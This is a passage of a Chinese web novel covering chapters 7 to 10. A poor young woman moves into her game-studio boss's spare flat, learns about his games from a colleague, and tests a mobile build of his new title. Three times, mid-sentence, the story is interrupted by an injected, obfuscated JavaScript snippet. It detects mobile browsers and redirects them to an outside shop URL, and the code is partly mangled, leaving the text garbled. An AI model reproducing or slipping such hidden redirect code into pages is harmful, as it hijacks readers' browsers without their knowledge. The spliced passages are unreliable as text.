将她送到廉租房的时候,池修白被恶劣的住宿环境震惊了。 墙壁发霉,地板又黑又黏,空间狭小到转身都费劲,气味也很难闻。 在这种地方住一年,人不疯了就有鬼了。 桌子上还有一碗放坨了的清汤挂面。 池修白有点洁癖,周遭一切让他恶心反胃,他抬手抵着口鼻,深深蹙眉:“你吃完的饭为什么不倒掉?好邋遢。” 田妙妙脸唰地一下红起来,简直比考试作弊被抓还羞耻。 她艰难为自己辩解:“这不是剩饭,是晚饭,你打电话给我的时候已经做好了,还没来得及吃,打算当明天早饭的。” “这里连冰箱都没有,放到明早都馊了,还能吃?”池修白不可置信。 田妙妙尴尬:“不知道,如果明早不能吃,就倒掉。”留下只不过是防止万一能吃,就能省下一顿饭钱。 池修白惊讶于田妙妙的精打细算,怎么会有年轻女孩节省到这种程度,他问:“身上还有多少钱?” 田妙妙如实回答:“一千多。” 池修白一言不发地掏出手机,“把微信加上,先预支你两万块,省得你撑不到发薪日就饿死了。” 田妙妙心想,已经解决完住宿问题,一千多单纯用来吃饭,撑到发薪日是绰绰有余的。 尽管预支两万块没什么必要,但是加上池修白的微信是很有必要的。 田妙妙点开微信扫描二维码,破手机再度卡顿,她已经数不清自己到底要在池修白面前出糗好多次了。 池修白被她的穷苦现状接连冲击,已见怪不怪:“明天去换个新的,手机电脑这些是生产力工具,别影响工作。” “好的,我会的。”田妙妙早想换手机了。 加上微信后,池修白把钱给她转了过去,“你这些锅碗瓢盆破烂东西没必要带走了,那边东西一应俱全。” 田妙妙点头:“我就把衣服和证件拿走,其他的不要了。” “衣服了也扔了,土死了,入职之后你好意思穿吗?”池修白没好气地说:“把证件带上就行。” 田妙妙不好反驳。 虽然她觉得衣服还能穿,她也确实有打算穿去上班,但看在池修白明确表示讨厌的份上,自己当然要尊重老板的喜好,和陪她逃离农村的旧衣服说拜拜。 -- 半个小时后,池修白带田妙妙来到他之前住过的房子,这是他靠游戏赚到的第一桶金后购置的。 在光希游戏公司的那几年,他基本上一直住在这边,后来成立了问天工作室,就换到离工作室近的江景大平层。 这套房子顺理成章空了下来。 他不缺钱,房子空置就空置,不出租也不转卖,每周都有保洁阿姨上门打扫卫生。 这座房子承载他不少的回忆,也见证了光希的成功与失败,挺有纪念意义的。 他偶尔也会来这边一趟。 池修白把电梯和大门的密码给田妙妙,又在密码锁中添加了她的指纹。 做完这一切,池修白低头看了眼手表:“行了,没其他事我回去了。” 田妙妙自然也没理由留他。 她态度诚恳地传达感激之情:“谢谢你,我从来没住过这么好的房子,你放心,我不会把房子弄乱的。我会尽快找到房子搬出去。” 对不起,后面那句是假的,田妙妙在心里默默补了一句。 池修白临走前又想到什么,补了句:“不许养宠物,也不许带陌生男人来这边,想约会的话去酒店开房。” 田妙妙尴了个大尬:“哦哦,好的,我暂时没有……” 还没等她说完,池修白已经转身离去了。 这顿为她准备的饭局,耽误池修白很长时间,他得回工作室一趟,继续处理工作,手头实在太多的事要做。 在游戏最终上线之前,他几乎没有真正空闲的时间。 池修白走后,田妙妙激动得像个中了彩票的幸运儿,在偌大的客厅里来回走动,好奇地打量四周。 窗明几净,不像是很久没住人的样子。装修风格高级有质感,和她之前住的地方一比,完全就是从地狱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17096996|195663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来到天堂。 面积大,地段好,装修贵,这样的房子月租得多少钱?田妙妙在网上搜了下,同小区同户型挂出去的出租价格就没有低于五位数的。 田妙妙幸福得快晕眩了,能住上这么好还不花钱的房子,还有什么不满意的呢? 兴奋之余,心里滋生出隐秘的贪欲,要是能一辈子住在这里就好了,要是这个房子是她的就好了…… 好想以后能在S市买一个自己的房子,好想好想…… 当这个想法占据她大脑的时候,田妙妙惊起一身冷汗,S市的房子动辄千万,她努力一辈子也买不起一个厕所。 感觉还是厚着脸皮,长期白住池修白闲置的房子,更有可能实现一点,相当于变相拥有了。 推开卧室门,这里应该是池修白住过的房间,床褥整齐,被面光滑得连一道褶皱都没有。 拉开衣柜,里面满满一排男士居家服。 田妙妙悄悄退出了主卧,都不用联系池修白,就知道他肯定不会同意她住自己的卧室。 转身去了次卧,次卧同样很宽敞,床上用品什么都不缺,真不错呀。 她开心地将自己扔到床上,名贵的床垫回弹舒适,比廉租房的硬床板强了一万倍,躺在上面舒服得不想起身。 手机响了一下,田妙妙点开查看,是陈驰之发来的微信。 【有收到问天的回复吗?】 下面是一张他收到的offer截图。 田妙妙:【恭喜你呀,被问天录取了!】 陈驰之:【你呢?】 田妙妙:【我可能走了狗屎运,也被录取了。】 实际上不是走了狗屎运,而是走了后门…… 只是,这种事情没法告诉别人,容易引来不必要的麻烦,成年人的世界总得有所保留,这点常识她还是有的。 陈驰之:【太好了,我就知道你也会进的。】 田妙妙不解:【为什么呀?你对我这么有信心?】 她一点都不符合招聘需求,正常人应该是打听她有什么背景,才通过了面试。 陈驰之:【我也不知道为什么,你就当我的第六感吧,面试的时候就觉得和你特别有缘。】 田妙妙:【那接下来就有请陈大才子多多关照了。】 陈驰之:【我算不上什么大才子,跟我的偶像相比,差远了。】 田妙妙:【拜托,你可是清华计算机系的高材生,不要妄自菲薄嘛。】 陈驰之:【然而白神不仅是计算机专业,还是姚班的,只要他提名国奖,其他竞选的人基本上都得靠边站,虽说都是清华的,但人与人的差距有时比比人和狗还大。】 田妙妙:【姚班是什么?】 陈驰之:【相当于我们这个专业的实验班吧,优中选优,大多都是竞赛佬,或者其他路径提前录取的。】 田妙妙倒是第一次听说池修白也是清华的,他完全没有一点好学生该有的谦卑,反而很高傲,一点也看不起她这样的平凡人。 田妙妙:【我感觉你对池修白有点盲目崇拜,说不定你入职问天之后,在他手底下工作一段时间就祛魅了。】 陈驰之:【你似乎挺讨厌他的。】 田妙妙:【他是工作室的boss,我可不敢讨厌他,万一被他知道了,试用期都通不过。】 陈驰之:【哈哈哈他这个人不会这么小心眼的。】 田妙妙:【真的吗?】 反正短暂的接触下来,池修白给她留下的心理压力很大,完全不好相处,需要小心小心再小心。 陈驰之:【其实网上骂他的人很多,给他寄刀片的人也有,但他从来没有和那些黑粉计较过,只会用硬实力打脸他们。】 田妙妙:【他被骂?我去搜搜。】 8. 第 8 章 田妙妙迫不及待地在各种社交软件上搜索池修白的名字。 出乎意料的是,池修白在游戏领域知名度非常高,也怪她不玩游戏,才对他毫不了解的。 网上关于池修白的评价毁誉参半,有类似陈驰之这种疯狂崇拜他的,把他看作游戏领域的“鲶鱼”,正是他的横空出世,让玩家对于游戏的质量需求逐年提高,以前赚的盆满钵满的的滚服换皮游戏,现在彻底没了生存土壤。 而厌恶他的人,大部分都是粉转黑,说池修白已经变质,失去做游戏的初心,现在完全以利益为导向,这辈子再也做不出第二个《修仙世界》,不如趁早退休,还能留个体面。 甚至还有酸溜溜开贴子骂他是个靠脸的废物,空有流量,名不副实。 底下有人反驳:虽然我是白黑,但说他是个废物有点过了,只能说他已经江郎才尽,我巴不得游戏业能多出几个八年前的池修白。 下面又有人回复:楼上我看你不是白黑,你是白娇妻,我敢说要是《无限异变》发售,你还是会屁颠屁颠的玩。 楼上回复:宣传pv看着确实挺有卖相的,但首发我绝对不入,等媒体和up主测评再说,而且我听说,《无限异变》可能不是单机,要是网游的话我肯定不碰。 …… 田妙妙看得云里雾里,什么单机、网游,对她来说好陌生的词汇,只能边看边百度。 单机游戏不需要网络连接,不需要多人交互,主打沉浸式单人体验感,盈利模式为一次性买断制。而网游则相反,依托互联网,通常有多人联机内容,游戏内容持续更新,付费点更多,比如外观或装备等。 然而游戏小白田妙妙还是无法深入理解,她觉得自己有必要亲自尝试一下各类游戏,毕竟她马上要入职的是一家游戏工作室,不能连业内基本常识都一问三不知。 田妙妙问陈驰之:【我之前没有玩过游戏,请问我应该先玩什么?】 陈驰之:【你真的什么游戏都没玩过?哪怕是扫雷、俄罗斯方块、连连看、贪食蛇这类小游戏也没玩过?】 田妙妙:【这么说的话玩过,但都是玩个一两局弄清楚游戏规则后,就没有继续玩了,至于大型游戏我就没有玩过。】 陈驰之:【王者呢?这么大众的也没玩过?】 田妙妙:【下载过一次,手残玩不来,被举报之后就删了。】 陈驰之:【像你这样的人真的好少见,连我妈都玩过几百关开心消消乐呢。】 田妙妙:【家里穷没电脑,大学时才买了手机,那个时候忙着兼职,没有时间玩游戏。】 陈驰之:【既然你说自己是手残的话,我就不推荐你玩动作游戏,还有moba,射击游戏也不适合手残党,可以试试模拟经营,rpg,冒险解谜、棋牌类、文游类的游戏。哦对了,还有女生比较喜欢的换装、乙女游戏。总之,市面上的选择性还是很多的,一周尝试一款,也够你忙活一年了。】 田妙妙:【哇,那你喜欢什么类型的游戏?】 陈驰之:【我接受范围挺广的,什么类型都涉猎,只要好玩就行。】 田妙妙:【那你最喜欢哪款?】 陈驰之:【《修仙世界》】 田妙妙:【池修白那个?不过我对修仙题材不感兴趣。】 陈驰之:【我之前也是的,对题材不感冒,甚至对mmo嗤之以鼻,但玩进去之后很上头,游戏在线时长累计有一千多小时。不过这游戏我不推荐你入坑。】 田妙妙:【为什么?】 陈驰之:【光希被云辰收购之后,《修仙世界》的所属权问题一直争执不休,白神宁为玉碎、不为瓦全,直接关服了,现在想玩也没得玩了。】 田妙妙:【啊,关服是什么意思?不能玩了吗?】 陈驰之:【对,就是后台服务器关掉,游戏停止运营,玩家不能再登录了。】 田妙妙:【这不是他的代表作吗?说关就关了?】 陈驰之:【关服的时候白神差点被骂死,网上黑子起码翻了十倍,以前黑子没这么多的。不过我挺欣赏他的决断的,既然敢关《修仙世界》,那一定能拿出更好的作品,反正我对《无限异变》很有信心。】 田妙妙:【既然不能玩了,那充过的钱不就打水漂了?】 陈驰之:【当时开通了退款通道,但社区还是骂声一片,主要是很多玩家在游戏里投入了大量的时间和感情,游戏已经成为他们的精神寄托。】 田妙妙:【光希不都被收购了,还有钱退款?】 陈驰之:【这我就不清楚了,反正事情已经过去了,问天都成立两年了,你不用担心白神的经济状况,他手头还有一款爆赚的游戏,养工作室绰绰有余。】 田妙妙:【什么游戏?】 陈驰之:【《逐鹿天下》,一款五代十国乱世背景的国战类SLG游戏。】 田妙妙:【听不懂。】 陈驰之:【就是战争策略型游戏,经营国家、军队,培养自己的势力,通过制定各种战略来对抗敌人、扩张领土。这种游戏在年轻人里热度不高,主要吸引有钱的中年老板,让他们花钱体验当皇帝的感觉,总之氪金程度很吓人,充值几千万的大有人在,十万以下的都算白嫖。】 田妙妙金钱观受到巨大的冲击:【……几千万???!!!真是疯了】 陈驰之:【淡定淡定,游戏行业就是这样的,氪佬养服,甚至养公司,普通玩家都是氪佬的玩具。】 田妙妙感慨:【贫富差距真的好大!如果我玩游戏的话,肯定一分不花。】 陈驰之:【哈哈哈零氪也是一种态度。】 …… 田妙妙跟陈驰之越聊越投入,等回过神时,已经深夜一点,田妙妙吓了一跳,忙结束聊天。 互道晚安后,田妙妙的大脑仍精神抖擞。 今天发生的事情实在太多了,有了新工作、新住处,还和池修白以及他的妈妈共进晚餐。 毫不夸张地说,她的人生已经迈向了新阶段,她多想母亲还活着,等工作稳定之后就把母亲接到S市养老。 唉,可惜永远实现不了了…… 田妙妙强迫自己想点别的事情转移注意力,脑海中第一个蹦出来的是池修白的脸,倨傲的、带着淡淡嫌弃的神情。 她突发奇想地点开了池修白的微信朋友圈。 朋友圈设置了半年可见,更新的内容多是游戏相关,有招聘信息,有宣传物料,偶尔掺杂了几条新游开发进程报备。 至于私生活的部分,寥寥无几。 没有看到她想窥探的内容,比如和女朋友秀恩爱的照片什么的,这让田妙妙对他是否单身一事产生怀疑。 理性上,她觉得池修白异性缘肯定很好,单身的概率不大,可感性上,她隐秘地期望池修白没有女朋友。 甚至,她还有一点点不切实际的幻想…… 曾经她对那些为了钱,出卖身体和灵魂的女生特别鄙夷。 可现在孤身一人在S市,遇见池修白这种人物,她内心有所动摇。 如果是和他发生些什么,她肯定是不排斥的,甚至是乐意的。 她希望靠那种关系攫取更多的利益,譬如金钱、平台、人脉、资源——她以往完全接触不到的东西。 可这种幻想只能建立在池修白是单身的基础上。 她就算再走投无路,也不可能动歪心思勾引别人的男朋友。 何况,池修白已经明显提醒过,她没有那种资本。 田妙妙晃晃脑袋,把乱七八糟的想法甩出去,她现在能做的就是多刷好感度,扭转自己在他心中的负面印象,顺利度过试用期转正。 田妙妙拍了一张房间的照片,配文:感觉自己好幸运啊,能搬到这么好的房子里,简直跟做梦一样,完全不敢睡觉,怕一觉起来又回到了原来的地方[/哭][/哭][/哭] 田妙妙编辑完文案,选择仅池修白可见,发送出去。 别人提供了帮助,就要给足情绪价值,好听的话又不要钱,不能因为害羞就不去表达。 她已经认识到自己不足的地方,积极改正中。 就算她觉得自己发的这条朋友圈太谄媚了,但还是硬着头皮发出去。 不仅如此,还要观察对方接下来的反应,随时调整自己的动作。 如果他看不惯她这种做派,下次就要矜持点,如果他比较吃这一套,以后这种肉麻的东西可以多发,反正都是仅他可见。 田妙妙决定把池修白当成一个实验观察对象,主动了解他的脾性、习惯和喜好,然后对症下药、投其所好,从而获得更多的正向反馈,延长自己受恩惠的时间。 同时,也要做两手准备,永远铭记世上最靠得住的人是自己,一定要抓住这次来之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17096997|195663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不易的机会,尽可能的积累工作经验、提升工作技能和个人能力,成长为业内高端人才,后续哪怕离开池修白,也能独当一面。 手机很快有了动静,池修白给这条朋友圈点赞了。 田妙妙嘴角抽了一下,这个池修白倒也挺俗的,喜欢被捧着。 好吧,人人都喜欢被捧,只不过大部分人只能当捧的那个人。 紧接着,池修白发来消息:【不睡的话干点事,我给你传个安装包,你下载完之后,试玩五分钟,马上给我反馈。游戏在你的手机能不能正常运行,以及画面表现怎么样,多截几张图,像你这样的手机正适合拿来做兼容性测试,看看适配的最低限度在哪。】 啊?敢情他现在还在忙工作,看见她没睡,直接抓她测试游戏了。 她明明还没正式入职,就开始加班了…… 田妙妙:【好的,但我很少接触游戏,有可能玩不懂。】 池修白:【那正好一并测试一下,新手引导做的怎么样。】 田妙妙:【收到。】 池修白发来的安装包是《无限异变》测试版,田妙妙此刻很想告诉陈驰之,自己要玩上他心心念念的新游了。 田妙妙看了眼安装包,超过10G,她可没有这么多流量。 搜索wifi,信号最强的wifi名字是【密码一到八】 田妙妙果断输入密码12345678,显示无法连接,又试了一遍,还是不行,反过来输入87654321,仍然不对。 田妙妙无奈,只能求助本尊:【老板你家wifi密码多少?试了三遍都不对。】 饭局上,陈阿姨说池修白比她大五岁,可以叫他白哥哥,但田妙妙可不敢套近乎,叫这么亲密,老老实实尊称他为老板。 池修白:【mina1dao8】 田妙妙发送个了无语的流汗黄豆表情。 池修白:【有意见?】 下一秒田妙妙怂了吧唧撤回表情:【老板,您太有创意了[/鞠躬]】 池修白没回。 田妙妙一边下载安装包,一边点开《无限异变》的宣传pv,时长五分钟。 开头的十几秒就把她吸引住了,画风和她想象中的完全不一样,她以为是个黑暗恐怖向的游戏,但没想到潮酷明亮的3D动漫风格,画面精美、音乐抓耳,登场的角色很有设计感,地图风格极具多样性,都市高楼,荒野丛林,废弃城堡,雪山海底应有尽有,看得人眼花缭乱。 看完一遍意犹未尽,田妙妙重刷三四遍,然后又津津有味地看了几个其他up主对pv的解读视频。 他们猜测这应该是开放世界加角色扮演类型游戏,世界各地发生异变,异变对象可以是人、动物或者是器物,玩家负责发现异变、调查异变、解决异变,最终拯救世界的游戏。 在处理异变的进程中,动身前往世界各地,结识新的朋友,体验新的风土人情,发现隐藏在异变之下的大阴谋,逐步接近世界的真相。 田妙妙的好奇心完全被解读视频吊起来了,她迫不及待地想上手游玩,其实最吸引她的不是世界观或者地图,而是pv里那个一闪而过的白毛酷哥。 安装包已经下载好了,田妙妙心潮澎湃地点开登陆界面。 刚进入游戏,手机画面花屏了,什么也看不清,她截了一张图,然后对着屏幕乱点一通,几秒钟后,直接闪退。 田妙妙无语了,到底是她手机不行?还是池修白不行? 她的白毛帅哥呀!呜呜呜……明天立马就换新手机! 田妙妙把花屏截图发给池修白:【完全不能玩,白激动了。】 池修白:【你不是不玩游戏的吗,激动什么?】 田妙妙:【我看上了他!】 田妙妙把白毛帅哥发过去。 池修白:【……】 田妙妙:【是怪我手机太差了吗?为什么会这样?】 池修白:【手机性能是一方面,还有就是优化问题,我接下来的优化目标就是你的手机也能带得动。】 田妙妙:【不用这么照顾我,我明天就换新手机了。】 池修白:【不要自作多情,如果连你的手机都能适配,那移动端的优化可以说无敌了,将来游戏上线后,不会再有其他玩家反馈手机玩不了。】 田妙妙语塞,敢情她是地板参照物呀! 9. 第 9 章 凌晨一点半,问天工作室只有池修白的办公室亮着灯。 他刚审核完姜星提交的线下测试计划安排,以及相应的预算申请。 移动端优化还在进行中,他给田妙妙发的测试版是之前还未改动过的版本,不用想就知道她的手机肯定带不动。 至于为何发给她,多少有点捉弄的成分在。 田妙妙这厮大半夜不睡觉,还搁那发暧昧且拙劣的朋友圈,看得他鸡皮疙瘩都起来了。 长得挺纯,心思不纯,不如给她找点事干,也能让她快点进入到工作室员工的身份,省得没完没了地动歪心思。 池修白关了电脑,准备回去。 以前在光希的时候,他加班到凌晨时,通常直接睡公司里,但现在不管多晚,他都要回去休息,实在没有当年那种把公司当家的热情和拼劲了。 不过,尽管自己加班,但他基本不要求员工留下加班。 很多时候员工加班,纯属因为制作人统筹不佳,或是想法变来变去,已完成的部分动辄推翻重做,造成的进度停滞或倒退。 这些无意义的加班,既打击了员工的工作积极性,也不会对开发进程有任何的助益。 起身之后,收到了田妙妙的信息:【老板,你现在是不是还在办公室?】 池修白:【怎么?】 田妙妙:【没事,我就问问,提前了解一下问天的工作强度。】 池修白:【了解多少了?】 田妙妙:【老板不走,员工也不敢走,估计我以后都要这么晚下班了,这个时间点地铁肯定停运了,咱们工作室应该会报销打车钱吧?】 她以前听闻,互联网公司加班的话,都是会报销打车钱的。 池修白:【不会。】 这么黑心? 田妙妙:【那加班费总该有吧?】 池修白继续逗她:【没有。】 可恶的无良资本家! 田妙妙刚得到工作的兴奋劲立马打消了大半,如果有加班费还好说,她可以在公司待到过夜,但没加班费的话,那还不如早点下班找个副业增加收入。 池修白见她不回复:【还有别的想了解的吗?】 田妙妙:【真的没人把你举报到劳动局吗?】 池修白:【工作强度接受不了的话,你可以不来,我也可以帮你换个朝九晚五的工作。】 空头支票!田妙妙根本不信。 他自己的工作室就没有这种好事,怎么可能指望他帮她换个好工作呢? 她还是相信,天下的乌鸦一般黑! 田妙妙:【我不要,我还是想去问天,我可以接受加班的。】 池修白:【是吗?那你现在来工作室一趟。】 躺在床上的田妙妙腾地一下坐起身,不知道这是池修白的戏言,还是真的要她现在去工作室。 田妙妙:【真的现在过去吗?】有什么事不能明天再做吗? 池修白恐吓:【当然,如果进了问天,这种情况是很普遍的,手机二十四小时不能关机,随时待命。】 田妙妙绝望地闭了闭眼,安慰自己这就是打工人的牛马生涯,忍一忍就好,只要能留在S市,我什么苦都能吃。 田妙妙苦着脸回复:【收到,我马上过去。】 池修白轻轻啧了声,虽然她能力不足,但服从性和抗压能力都还不错,说来就来。 池修白关灯,落锁,转身离开工作室,就算她想过来,他也不乐意留在办公室等她。 池修白:【不必了,你过来之后发挥的价值,还赶不上公司的电费。】 虽然被他无情地贬损一波,但好在不用大半夜去工作室,田妙妙刚走到玄关处,收到消息后,立马飞奔回卧室,跳上床。 田妙妙:【好的,老板您忙,晚安。】 可不能再多说什么,万一真被他揪过去加班就大事不妙了。 池修白嗤笑一声,手机装回口袋,步入电梯下到地下停车场,驱车回家。 田妙妙于他而言,与其说是恩人之女,不如说更像个不速之客。 成年人的时间都很宝贵,没必要在她身上投注多少注意力,本质就是两个世界的人。 此时的田妙妙仍然异常亢奋,毫无困意,好在明天是周末,不用去工作室报道。 想到这里,她突然意识到,自己没有拿到正式的offer,只有池修白的口头录取,那她到底哪天去报道呢,会给她安排什么工作内容呢? 她很想问问池修白,是不是要和其他人一起周一报道,还是另外等通知。 她还是希望能混进大部队里,而不是单独入职,那样太显眼了,一下子就让人知道自己是走后门进的。 不过现在这么晚了,她不好意思再去打搅池修白,问多了他会烦的。 算了算了,等周末再问吧。 田妙妙在床上翻来倒去,直到快三点,才困晕过去。 但她的生物钟异常准时,刚七点就醒了,人还是很困,自从毕业以来,她从没有一天心情轻松愉悦过,当下是难道的放松时刻,眼一闭又睡了过去。 再醒来,已经中午十一点多了。饿醒的。 她看了眼手机,意外收到了慧通快递的offer,田妙妙心情更好了。 时来运转,就算没有赖上池修白,她也是有去处的! 不过已经决定去问天了,慧通的offer只能谢绝了。 田妙妙恭敬地编辑一条谢绝信息发给HR:【非常感谢您给予的宝贵机会,经过慎重考虑,很遗憾不能入职,再次拜谢,希望未来能有合作的机会。】 HR回复:【找到工作了?哪家?透露一下。】 田妙妙没想到HR这么直接,该不会她想跳槽吧?不过看在她愿意给自己面试机会的份上,田妙妙也没有隐瞒:【问天工作室,做游戏的。】 HR:【哇哦,难怪你不过来了,你运气真好。】 田妙妙:【你知道问天?】 HR:【知道啊,附近写字楼有哪些公司我都知道,就属问天工作室待遇最好。工资高,加班也没有特别严重,不过门槛也高,所以你能进问天,运气真的很好,你的简历其实并不匹配的,好好把握吧。】 田妙妙:【谢谢,我会的。】 结束和慧通HR的对话,田妙妙手指滑到了钱包,看见了两万块的巨款,心情更好了,要不要犒劳自己一下点个外卖? 可是目前好想没有什么值得犒劳的部分,她毕竟还没有真正入职、转正…… 还是省着点花吧,多点存款,才能多点安全感。 她本来就喜欢存钱,或许这是常年贫穷的副作用?哪怕手里已经有钱了,还是不敢多花。 田妙妙想了想今天要做的事,最重要的就是两件,换手机、办个新的电话卡。 事不宜迟,田妙妙起身,洗漱完用新买的化妆品化了个妆。 她极少化妆,手法很不熟练,和昨天柜姐给她化的妆一比,实在是不忍直视。 左看右看,还是不如素颜好看,索性卸了,从网上找了个十 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17096998|195663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 分钟日常妆教程,对着重画。 折腾了两三遍,终于化了个还能看的妆。 她摸索着漂亮的眼影盘,粉质细腻软糯,配色日常而高级,低头轻轻嗅了下,还有好闻的香气,不是那种劣质工业香精味。 果然一分价钱一分货,希望这盘眼影用完的时候,自己也能成长为消费得起贵妇化妆品的人。 池修白随手为她购买的东西,成了一颗小小的种子,在她心里扎根发芽,成长为她今后追寻的目标,她想过那种生活,她会为之不懈努力。 收拾妥当后,田妙妙离开家,导航去商场,一搜地图,发现池修白给她提供的住处位置巨好,离地铁口以及商业圈都很近。 她又搜了下离问天工作室的距离,地图软件为她规划的通勤路线只需要二十分钟,她感动得快要落泪了,以前她大学兼职的时候,路上通勤时间得一个多小时。 田妙妙来到商场,首先解决午饭,去了家便利店,拿了她昨天犹豫过后放弃的饭团,这已经是在外面吃饭省钱的方式了,十元不到解决一顿正餐。 吃完饭团后,田妙妙进入商场,直奔数码区,接连逛了好几个品牌,把店内促销价和网购价格比对一番,纠结来纠结去,选了个两千多价位的手机。 尽管内心也有点向往苹果,可还是舍不得买,毕竟手里的钱是预支的,不是真正赚来的,她想还是等她存款攒到一定程度时,再换个贵价手机。 如果不是因为自己入职的是游戏工作室,日后有下载游戏的需求,她都不一定会买两三千价位的手机。要是不玩游戏的话,千元机就完全够用了。 买完手机,田妙妙立马去办理了张新电话卡,旧卡就再也不用了,防止田建军通过其他人联系上她。 田妙妙斩断过往的决心无比坚定,她一辈子都不想和田建军见面。 那个眼高手低、不负责任、重男轻女的吸血豸,他害了妈妈一辈子,妈妈无法逃离,却将机会留给她,无论如何都不能辜负妈妈的期望。 解决完手机,还有衣服,田妙妙在商场里转了一圈,实在是下不了手,里面的衣服都太贵了,短袖衫最便宜的也得两百多,这哪是她能穿的起的,田妙妙灰溜溜出来了。 她决定衣服还是在网上买吧,反正她比较瘦,网购衣服通常不太会踩雷。 等以后有钱了,她再去扫荡商场的服装店。 钱钱钱,万事万物都离不开钱,在S市恨不得连呼吸都要钱,田妙妙实在是穷怕了,就算手里捏着池修白给的两万块,还是不敢随意消费。 但转念一想,自己用了这么长时间二手机,现在终于换上了新机,就算不是最新款苹果,可和以前的日子相比,情况已经大有改善,一切都在朝好的方向发展,这就足够振奋人心了。 一口气吃不成胖子,要多想一些开心的事情,多关注事情好的一面,积极的心态会让运势越来越好——这是田妙妙时刻提醒自己的事情。 田妙妙回程路中买了很多的菜,池修白家有超大的嵌入式双开门冰箱,厨房用具齐全,烤箱、咖啡机这些都有。 这种居住条件非常方便自己做饭,准备一周的菜量都不用担心坏掉,平时有空的话,她还打算用烤箱学做甜品。 只要条件允许,田妙妙还是很喜欢自己做饭的,不仅省钱,还有成就感,做出一道完美可口的菜品,心情都会变好。 田妙妙到家之后,头一件事就是连上wifi,下载昨晚池修白发给她的《无限异变》安装包。 嘿嘿,白毛酷哥,我来了。 10. 第 10 章 田妙妙兴致冲冲地下载完安装包,这次能正常登陆了,没有闪退。 进入游戏后,首先加载的是一个动画短片,主角设定的是一个刚毕业的社畜,早上睡过了头,上班快要迟到,他随手揣了个面包,狂奔赶地铁。 在路过天桥的一瞬间,清亮的世界刹那间被黑暗吞噬,什么都看不见。 然而,不到一秒钟,世界再度恢复光明,整个过程诡异万分,好似清晨的太阳无端眨了一下眼睛。 主角震惊地停下脚步,不可思议地揉了下眼睛,恍惚间以为自己刚才看错了。 他望向四周,路人们面色如常,步履匆匆,没有发现任何的异样,主角不由得怀疑,是不是刚才自己跑太快,出现幻觉了。 即将迟到,根本没时间多想,他只得按下疑虑,继续奔向地铁站。 在他跑开后,路边的垃圾桶顿时动了一下,桶身长出了眼睛,嘴巴,和四肢,毫无征兆地从死物变成了怪物。 垃圾桶旁有一个掉落的易拉罐,它伸出刚长出来手,把易拉罐捡起来,丢进嘴巴里大口咀嚼,发出满足的喟叹:“真好吃。” 主角紧赶慢赶终于挤上地铁,地铁发车之后,刚行驶两分钟,车厢内的灯光突然闪烁了一下。 主角被光线晃得眯上眼睛,再一睁开,原本拥挤的地铁车厢变得空无一人! 主角登时吓得大气不敢出,险些跌坐在地。 车厢里的广播开始播报:欢迎来到世界的背面——艾斯利亚。 动画短片就此结束,进入了黑屏状态,田妙妙屏住呼吸,等待屏幕再度亮起,一窥神秘的异世界面貌。 然而,等了十秒钟,仍然黑屏。 积攒的期待情绪立马消散,田妙妙狂戳屏幕,“不会吧,新手机也能卡?” 话音刚落,游戏闪退。 田妙妙有些抓狂,好奇心被游戏开头动画吊得高高的,然后啪叽一下摔在地上。 她立马联系池修白,报告情况:【老板,我刚换了新手机,重新下载您昨晚发给我的游戏,然而刚看完开场动画,还没进入游戏界面,就闪退了。】 池修白此时正在工作室,和江弘深商讨移动端的优化方案。 冷不丁收到了田妙妙的微信,他瞥了一眼内容,眉头轻蹙。 昨晚让她测试游戏不过是突发奇想,并不是真给她派发工作任务,况且他也不放心,让一个对游戏毫无理解的新人做测试岗。 池修白面无表情敷衍回复:【知道了,游戏的事你就别管了,昨天发给你的游戏包严禁外传。】 田妙妙:【谢谢提醒,我差点想发给我朋友呢。】 她确实很想发给陈驰之炫耀一下,可惜手机不给力,迟迟进不了游戏主界面,没给她这个机会。 池修白:【能不能有点保密常识?】 田妙妙:【老板教训的是。】 田妙妙虽嘴上恭维着池修白,心里却吐槽,我又没签什么保密协议,再说了,你还不是随随便便就外传给我了,难道因为你是老板,就不用考虑保密工作了? 就算对池修白有所不满,田妙妙也秉持着“包容、顺从、吹捧”的行事准则,坚决不让池修白对她产生负面情绪。 池修白扫了一眼回复,丢开手机。 江弘深停下了滔滔不绝的畅想发言,问了句:“谁啊?” 池修白:“新员工。” 江弘深闻言挑眉,一脸好奇:“新员工这么快能加上你微信?不简单啊。” “确实不简单。”池修白无奈地啧了声,摆摆手:“不用管她。” “递情书那个?”江弘深打趣道。 “要是情书的话,反倒是没那么麻烦了。”池修白端起咖啡喝了一口:“人情债。” “人情社会嘛,在所难免的。”江弘深理所当然地把那封信当成了工作介绍信:“她家什么背景?怎么想着安排进问天了。” 